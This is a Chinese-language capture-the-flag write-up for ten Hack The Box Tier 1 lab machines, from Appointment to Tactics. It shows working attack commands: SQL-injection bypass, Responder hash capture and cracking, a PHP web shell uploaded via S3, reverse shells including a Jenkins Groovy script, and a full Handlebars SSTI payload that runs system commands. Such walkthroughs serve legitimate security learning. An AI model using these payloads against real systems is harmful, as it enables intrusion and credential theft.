# HTB 1 层
# Appointment
fscan 扫描
发现开放了 80 端口,浏览器访问 ip
看到登录框尝试进行 sql 注入
注入成功
总结:本台靶机的考点就是普通的 sql 注入,用单引号闭合前面的语句并且使用 #注释 pass 成功实现注入
# Sequel
fscan 进行扫描
发现 3306 端口开放,3306 是 mysql 数据库的常用端口,用命令进行连接
1 | mysql -uroot -h 10.129.214.75 |
接下来就是正常的 sql 语句查询的操作了,flag 在 config 表中
1 | show databases; |
总结:该台靶机的考点就在于 3306 端口开放的 mysql 服务,通过命令无密码连接之后利用 sql 语句去查找表中的字段值
# Crocodile
fscan 扫描
21 端口开放了 ftp 服务,并且扫描结果已经显示出来了 anonymous 可以免密登录
同上面扫描结果显示的一样,有 allowed.userlist、allowed.userlist.passwd 两个文件,都 get 下来
能看到是对应的用户名密码,并且这台靶机除了开放 21 端口外还开放了 80 端口,有 web 服务,访问看看
dirsearch 或者 gobuster 扫描一下目录
1 | python3 ./dirsearch.py -u 10.129.1.15 |
发现登录口 login.php,访问
用上之前 ftp 得到的 admin 用户和密码
1 | admin |
后台直接显示 flag
总结:这台靶机的考点主要还是在 ftp 登录和传输文件,将 web 端的后台登陆账号密码放在了默认无密码用户登录的 ftp 当中,登录后台获取 flag
# Responder
fscan 扫描
开放了 80 端口,web 端访问一下
发现重定向到域名解析失败,修改 /etc/hosts,添加
1 | 10.129.189.214 unika.htb |
刷新访问成功
这里需要用到 responder 设置监听来伪造服务端,详细说明一下
如果客户端 / 目标无法通过 DNS 域名解析,则会回退到 LLMNR (在 Windows
Vista 中入) 和 NBT-NS 进行解析
1 | LLMNR (链路本地多播名称解析): 多播方式查找网络上的主机,其它主机响应IP,然后连接 |
这两种协议都是基于信任的,只有目标主机才会相应,但是攻击者可以冒充被请求的主机发出响应,windows 主机之间有多种认证方式,这里使用的是 NTLM 协议
因此可以梳理一下本题抓取 hash 大致流程:
1 | 1.先在本地设置responder监听 |
对 ntlm 认证过程不了解的可以去看看另一篇(NTLM 协议流量解密)
知道了大致流程原理之后进行操作,先设置监听
1 | responder -I tun0 |
接着在浏览器进行本地文件包含的操作
伪造成功,成功抓取
将 hash 保存到 hash.txt 中,使用 john 或者 hashcat 利用 rockyou 字典进行爆破
1 | john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt |
得到密码 badminton
fscan 端口扫描没扫全,再用 nmap 进行一次扫描
发现 5985 端口开放,上网查找能知道这个端口的常用服务是 winrm 远程管理
之前已经得到了用户名和密码,配合 winrm 进行远程登录
1 | apt-get install evil-winrm #安装 |
flag 在 mike 用户的桌面中
总结:本台靶机利用 responder 配合 5985 的 winrm 进行远程登录,需要注意的是 responder 监听抓取认证过程中用户密码 hash 的流程
# Three
fscan 进行扫描
发现开放了 80 端口,浏览器进行访问
在 web 页面底端找到了带有域名的 email,添加到 /etc/hosts 访问一下
既然得到了域名,进一步进行信息搜集,爆破一下子域名
1 | gobuster vhost -w /usr/share/wordlists/subnames.txt -u http://thetoppers.htb |
得到了 s3.thetoppers.htb,没有爆破成功的也可以直接看题目提示
同样先加到 /etc/hosts 当中,访问
接下来可以利用 aws 工具对 s3 的桶进行操作,并且写入木马拿到 shell
安装:
1 | apt install -y awscli -y |
配置:
1 | aws configure |
列出所有 s3 的桶:
1 | aws --endpoint=http://s3.thetoppers.htb s3 ls |
列出 s3 下的目录及对象:
1 | aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb |
接着写入木马到文件当中,这里使用了 GET 传参的方式,用来进行远程命令执行
1 | echo '<?php system($_GET["nnnpc"]); ?>' > shell.php |
利用 cp 命令 copy 到桶里
1 | aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb |
木马被成功解析
在上一级目录中获取了 flag
但对于平时的渗透过程中,光能 rce 是肯定不够的,所以需要想办法进行权限维持,这里可以配合已经上传的木马进行反弹 shell 的操作
先写一个可执行文件 shell.sh
1 | #!/bin/bash |
ip 为需要反弹的 ip,也就是攻击机的 tun0
这里有两种方法上传可执行文件,一种就是本地利用 python 开放个 web 端口,利用 shell.php 远程 curl 下载并执行
还有一种方法就是通过 aws 同样上传,并通过 shell.php 去执行 sh 文件,这里演示第二种
首先 aws 同样将 shell.sh copy 到桶里
1 | aws --endpoint=http://s3.thetoppers.htb s3 cp shell.sh s3://thetoppers.htb |
利用 shell.php 查看
成功上传,监听 sh 文件中的 1234 端口
1 | nc -lnvp 1234 |
利用 bash 执行 sh 文件
1 | http://thetoppers.htb/shell.php?nnnpc=bash shell.sh |
成功获得 shell
总结:本台靶机主要的知识点在 aws 命令对 s3 的桶进行操作写马,写入木马以后再进行一些反弹 shell 的权限维持操作
# Ignition
fscan 扫描
80 端口开放,绑定 hosts 浏览器访问
使用 dirsearch 或 gobuster 扫描目录
1 | gobuster dir -u http://ignition.htb/ -w /usr/share/wordlists/dirb/common.txt |
发现了 /admin 目录,访问
使用 bp 密码弱口令爆破得到 admin qwerty123
登录成功即可获得 flag
总结:本题的考点主要在于目录爆破和后台账号密码的爆破
# Bike
fscan 扫描
80 端口开放,同样进行访问
测试发现存在 ssti 模板注入
payload:
1 | {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} |
总结:本台靶机主要是利用了 ssti 模板注入比较普通的注入链子
# Funnel
fscan 扫描
发现开放了 21 端口 ftp 服务
anonymous 用户名空密码登录并发现了 mail_backup 文件夹
get 文件夹中的两个文件
并且在 pdf 中发现了较为关键的默认密码:funnel123#!#
在 welcome 文件中发现了 5 个目的用户名
结合刚才的 22 开放端口,尝试遍历这五个用户名和默认密码
最终在 christine 用户登录成功
1 | ssh christine@10.129.228.195 |
检查哪些端口在执行本地监听
1 | ss -tln |
检查在端口上默认运行的服务
1 | ss -tl |
发现 5432 端口运行了 postgresql 服务
可以通过 psql 进行连接操作
但发现远程主机并没有该工具并且现在所拥有的权限不足以去下载工具
这里就利用 ssh 搭建隧道,实现本地端口的转发
这里理解一下本地端口转发:实质上就是在客户机指定端口上分配一个套接字侦听器,当连接到该端口时,客户机会将现有的 ssh 会话发送到远程服务器的端口,
该隧道将网络流量从本地端口转发到了远程端口,使本地执行的命令能够通过 ssh 隧道转发到远程进行执行
接下来使用 ssh 搭建隧道
1 | ssh -L 1234:localhost:5432 christine@10.129.228.195 |
直接在本地下载 psql 工具并访问本地的 1234 端口
成功通过 ssh 隧道实现本地端口转发,连接了远程 postgresql 服务
1 | \l # \list缩写,列出现有数据库,按q退出 |
总结:本台靶机主要的知识点在于利用 ssh 搭建隧道实现本地端口转发,解决远程主机无法使用 psql 的问题
# Pennyworth
fscan 扫描
发现 8080 端口开放,浏览器访问
发现登录口,弱口令爆破得到
1 | 账号:root |
成功登录后台
而在 Jenkins 的脚本控制台中,可以编写和运行 Groovy 脚本,我们就可以插入反弹 shell 的 Groovy 脚本
路径:http://10.129.109.40:8080/script
1 | String host="host_ip"; |
本地监听 1234 端口
1 | nc -lnvp 1234 |
点击 run 运行脚本成功获得 shell
flag 在 root 目录下
总结:本台靶机主要考点在 Jenkins 的 script 目录下可以编写运行 Groovy 脚本,利用该功能编写脚本实现 shell 的反弹
# Tactics
fscan 扫描
开放了 445 端口,使用 smbclient 列出 Administrator 用户下的共享文件(空密码)
1 | smbclient -L 10.129.172.139 -U Administrator |
连接 C$ 文件
1 | smbclient \\\\10.129.172.139\\C$ -U Administrator |
最终的 flag 在 Administrator 用户的 Desktop 中
get 下来即可
总结:本台靶机的考点还是 445 端口的 smb 共享文件,Administrator 用户空密码